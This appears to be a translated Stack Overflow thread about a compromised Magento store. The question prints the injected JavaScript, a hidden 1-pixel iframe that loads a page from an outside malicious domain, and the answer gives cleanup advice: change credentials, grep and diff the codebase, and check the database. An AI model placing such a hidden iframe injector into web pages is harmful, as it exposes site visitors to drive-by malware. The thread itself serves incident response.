javascript - 客户端magento网站包含恶意代码,如何摆脱它?

标签 javascript magento malware

<分区>

我的客户今天给我打电话,告诉我后台的一些功能突然停止工作了。快速浏览后,我看到该网站在最后一个 html 标记下方包含恶意代码。这是代码:

<script type="text/javascript">     
    (function () {
        var zg = document.createElement('iframe');
        zg.src = 'http://impactrl.de/chat/esd.php';
        zg.style.position = 'absolute';
        zg.style.border = '0';    zg.style.height = '1px';
        zg.style.width = '1px';    zg.style.left = '1px';
        zg.style.top = '1px';
        if (!document.getElementById('zg')) {
            document.write('<div id=\'zg\'></div>');
            document.getElementById('zg').appendChild(zg);
        }})();
</script>

我的客户还告诉我,他下载了一些软件,允许他从桌面上运行他的商店。我敢打赌,这就是问题所在。

但是,我想去掉那段代码,但是我在任何文件中都找不到它。它在所有后端和前端页面上。

有人知道我必须查看什么文件吗?

最佳答案

这是一个很好的例子,说明了为什么您经常并始终备份网站的代码库和数据库。实际上,如果您不知道代码的来源,您也不知道是否有多个插入点和其他乱七八糟的东西。更改所有登录和访问凭据(ssh、ftp、mysql、cPanel、用于维护的计算机(好的站点破解从家里开始,扫描恶意软件),删除系统并重新安装。

将其作为 100% 的后见之明放在一边,如果您正在寻找它的来源:

第一步是 grep(man grep 在您的 ssh 提示符下获取有关使用 grep 的说明)您的代码库(基本上是任何文本文件,不仅仅是 Magento 的,任何东西都可以从服务器的任何地方被包含)。您不仅要寻找在漏洞利用中发现的字符串,还要寻找插入混淆代码的迹象,因为大多数网站破解者都希望代码的生命周期更长一些。越不明显和越容易找到越好。

第二步是diff 如果这个站点接近存货,你可以在一个单独的文件夹中安装你正在运行的Magento版本的新解压,然后做一个diff 在实时安装和新代码库之间的主要目录上查找所有不同的文件。 Inchoo has an article on using grep to look for code diferences.使用的基本命令是 diff -qrbB contaminated\code\location fresh\code\locationdiff 与自定义模板的旧存储副本。

第三步是考虑它可能不在任何模板文件中。您要么正在查看一个受损的登录名,其中有人使用后端将代码放入几个用于代码包含的页面配置文本区域之一,添加一个 CMS block 然后对其进行引用,通过驱动器将其放入系统-通过代码插入,将一些东西插入到数据库中以获得来自另一个网站的 XSS 代码,或者如果你有一个外部暴露的 MySQL 端口,拥有数据库登录凭据并且可以随意插入任何东西。进行数据库转储和grep字符串的 SQL 代码再次成为查找这些字符串的另一种工具。

关于javascript - 客户端magento网站包含恶意代码,如何摆脱它?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/13822419/

相关文章:

php - fatal error : Out of memory on Dedicated Server running Magento

batch-file - 这个 "batch worm"是如何工作的?

javascript - WordPress 网站的 header.php 文件中发现未知代码

image - 如何在 Magento 中工作媒体/目录/产品/缓存的缓存

找不到 Magento 2.3 升级表

jquery-ui - 防止JQuery的恶意覆盖

javascript - Angular 外部 js 库调用 Document.Ready

javascript - 检查至少一个空白

javascript - 如何使用 JSZip 使用 Node.js 中的缓冲区内容生成 zip 文件?

javascript - Node 与 Nodejs 版本不同